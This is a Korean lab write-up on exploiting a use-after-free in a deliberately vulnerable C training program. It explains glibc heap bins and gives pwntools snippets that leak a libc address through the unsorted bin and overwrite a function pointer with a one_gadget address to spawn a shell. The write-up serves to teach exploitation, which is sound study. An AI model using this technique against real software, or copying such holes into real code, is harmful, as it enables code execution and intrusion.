Use After Free 취약점이 존재하는 코드를 사용하여 셸을 획득하는 실습
// Name: uaf_overwrite.c // Compile: gcc -o uaf_overwrite uaf_overwrite.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct Human { char name[16]; int weight; long age; }; struct Robot { char name[16]; int weight; void (*fptr)(); }; struct Human *human; struct Robot *robot; char *custom[10]; int c_idx; void print_name() { printf("Name: %s\n", robot->name); } void menu() { printf("1. Human\n"); printf("2. Robot\n"); printf("3. Custom\n"); printf("> "); } void human_func() { int sel; human = (struct Human *)malloc(sizeof(struct Human)); strcpy(human->name, "Human"); printf("Human Weight: "); scanf("%d", &human->weight); printf("Human Age: "); scanf("%ld", &human->age); free(human); } void robot_func() { int sel; robot = (struct Robot *)malloc(sizeof(struct Robot)); strcpy(robot->name, "Robot"); printf("Robot Weight: "); scanf("%d", &robot->weight); if (robot->fptr) robot->fptr(); else robot->fptr = print_name; robot->fptr(robot); free(robot); } int custom_func() { unsigned int size; unsigned int idx; if (c_idx > 9) { printf("Custom FULL!!\n"); return 0; } printf("Size: "); scanf("%d", &size); if (size >= 0x100) { custom[c_idx] = malloc(size); printf("Data: "); read(0, custom[c_idx], size - 1); printf("Data: %s\n", custom[c_idx]); printf("Free idx: "); scanf("%d", &idx); if (idx < 10 && custom[idx]) { free(custom[idx]); custom[idx] = NULL; } } c_idx++; } int main() { int idx; char *ptr; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); while (1) { menu(); scanf("%d", &idx); switch (idx) { case 1: human_func(); break; case 2: robot_func(); break; case 3: custom_func(); break; } } }
- 크기가 같은 두 구조체
Human
,Robot
이 정의되어 있다.human_func
함수와robot_func
함수는 메모리 영역을 할당할 때 할당한 메모리 영역을 초기화하지 않는다.
두 구조체의 크기가 같으므로, 한 구조체를 해제하고 다른 구조체를 해제하면
Use After Free가 발생한다.robot_func
는 생성한Robot
변수의fptr
이 NULL이 아니면 이를 호출하므로
Use After Free로 이 변수에 원하는 값을 남겨놓을 수 있다면, 실행 흐름을 조작할 수 있다.custom_func
함수를 사용하면 0x100 이상의 크기를 갖는 청크를 할당하고 해제할 수 있다.
- 해제된 청크는 fd, bk, prev_size, size로 이루어져 bin으로 보내진다.
- fd : forward, 앞 청크의 주소
- bk : backward, 뒷 청크의 주소
- bin : 해제된 청크들을 관리하는 곳
- fast bin : 단순연결리스트, 크기가 0x80 이하인 청크를 관리, FIFO
- unsorted bin : 이중연결리스트, small bin 이상의 사이즈가 해제되면 등록, FIFO
- 이후 새 메모리를 할당할 때, 할당할 크기보다 큰 청크가 unsorted bin에 등록되어 있다면 바로 반환하고,
- 없다면 unsorted bin에 등록되어 있던 청크들을 사이즈에 맞게 small bin과 large bin으로 이동시킨다.
- small bin : 이중연결리스트, size < 0x200, FIFO
- large bin : 이중연결리스트, 그 외 나머지, FIFO
- last remainder chunk : free chunk에서 필요한 만큼 떼어주고 남은 청크
1. 라이브러리 릭
Robot.fptr
값을one_gadget
의 주소로 덮어서 셸을 획득한다.- unsorted bin의 특징을 이용
- unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다.
- 처음 unsorted bin에 연결되는 청크의
fd
와bk
에는 libc 내부의 주소가 쓰인다.- unsorted bin에 연결된 청크를 재할당하고,
fd
나bk
의 값을 읽으면
libc의 매핑 주소를 알 수 있다.- 0x410 이하의 크기를 갖는 청크는
tcache
에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc의 매핑 주소를 알 수 있다.- 해제할 청크가 탑 청크와 맞닿아 있으면 병합되므로, 청크 두 개를 연속으로 할당하고 처음 할당한 청크를 해제해야 한다.
2. 함수 포인터 덮어쓰기
Human
과Robot
은 같은 크기의 구조체이므로
Human
구조체의age
는Robot
구조체의fptr
과 위치가 같다.human_func
를 호출했을 때,age
에one_gadget
의 주소를 입력하고 이어서robot_func
를 호출하면fptr
의 위치에 남아있는one_gadget
을 호출할 수 있다.
1. 라이브러리 릭
custom_func
을 이용해 0x510의 크기를 갖는 청크를 할당하고 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구한다.def custom(size, data, idx): p.sendlineafter(">", "3") p.sendlineafter(": ", str(size)) p.sendafter(": ", data) p.sendlineafter(": ", str(idx)) custom(0x500, "AAAA", -1) # 할당 (0번째 인덱스 할당) custom(0x500, "AAAA", -1) # 할당 (1번째 인덱스 할당) custom(0x500, "AAAA", 0) # 해제 (0번째 인덱스 해제) custom(0x500, "B", -1) # 할당 (2번째 인덱스 할당) # -1번째 인덱스는 이미 NULL이어서 아무런 영향을 미치지 못하는 것으로 추정
- 오프셋 구하기
lb = u64(p.recvline()[:-1].ljust(8, b"\x00"))-0x1cec42
- one_gadget 주소 구하기
og = lb + 0xcb5ca
2. 함수 포인터 덮어쓰기
human->age
와robot->fptr
이 구조체 상에서 같은 위치에 있음을 이용human("1", og) robot("1")